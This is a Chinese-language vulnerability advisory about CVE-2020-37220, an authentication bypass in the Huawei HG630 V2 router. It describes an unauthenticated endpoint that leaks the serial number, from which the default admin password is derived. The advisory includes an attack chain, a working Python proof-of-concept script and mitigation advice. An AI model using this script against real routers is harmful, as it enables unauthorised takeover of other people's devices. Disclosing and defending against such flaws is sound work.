IPBUF安全漏洞报告
English
CVE-2020-37220 CVSS 7.5 高危

CVE-2020-37220 Huawei HG630 V2路由器认证绕过漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2020-37220
漏洞类型
认证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Huawei HG630 V2

相关标签

认证绕过信息泄露路由器漏洞HuaweiIoT安全默认凭证

漏洞概述

Huawei HG630 V2路由器存在严重的认证绕过漏洞。由于设备设计缺陷,攻击者无需进行身份验证即可访问特定的API接口获取设备序列号。利用该序列号的后8位字符作为默认管理员密码,攻击者能够成功绕过正常的身份验证机制直接获取设备的管理员权限,进而完全控制受影响的路由器,造成敏感信息泄露。

技术细节

该漏洞的核心在于弱密码策略与信息泄露的组合。Huawei HG630 V2路由器的Web管理界面虽然要求密码登录,但其默认密码逻辑与设备硬件信息强关联。具体而言,路由器提供了一个无需认证即可访问的API端点 `/api/system/deviceinfo`。当攻击者向该端点发送HTTP GET请求时,服务器会直接返回包含设备详细信息的JSON数据,其中明确包含 `SerialNumber`(序列号)字段。该设备的默认管理员密码被硬编码逻辑设定为设备序列号的最后8位字符。攻击者通过编写简单的脚本解析返回的JSON数据,精准提取序列号并截取后8位,即可直接构造出有效的管理员登录凭证。这种设计缺陷使得任何能够访问路由器Web界面的攻击者都能轻易获得最高权限,完全规避了身份验证流程,且无需进行任何暴力破解攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描并发现目标Huawei HG630 V2路由器的IP地址及Web管理端口。
STEP 2
步骤2:漏洞利用
攻击者向 `/api/system/deviceinfo` 端点发送未授权的HTTP GET请求。
STEP 3
步骤3:凭证提取
解析服务器返回的JSON数据,提取 `SerialNumber` 字段,并截取其后8位字符作为管理员密码。
STEP 4
步骤4:获取权限
攻击者使用获取的序列号后8位作为密码,结合默认用户名(通常为admin),成功登录路由器管理界面。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target API endpoint that discloses device info # Replace <ROUTER_IP> with the actual IP address of the target device target_url = "http://<ROUTER_IP>/api/system/deviceinfo" try: # Send unauthenticated GET request response = requests.get(target_url, timeout=10) if response.status_code == 200: try: data = response.json() # Extract SerialNumber from the JSON response serial_number = data.get('SerialNumber') if serial_number: # Logic: Default password is the last 8 characters of the SerialNumber default_password = serial_number[-8:] print("[+] Vulnerability Confirmed") print(f"[+] Device Serial Number: {serial_number}") print(f"[+] Derived Admin Password: {default_password}") print("[!] Attacker can now login using the serial number suffix.") else: print("[-] SerialNumber field not found in response.") print(f"[-] Response content: {data}") except json.JSONDecodeError: print("[-] Failed to parse JSON response.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

影响范围

Huawei HG630 V2

防御指南

临时缓解措施
建议用户立即登录路由器管理后台,将管理员密码修改为包含大小写字母、数字和特殊符号的强密码,确保不使用设备序列号作为密码。同时,检查并关闭WAN侧的远程管理访问功能,仅允许受信任的内部网络设备访问管理界面,以降低被外部攻击的风险。

参考链接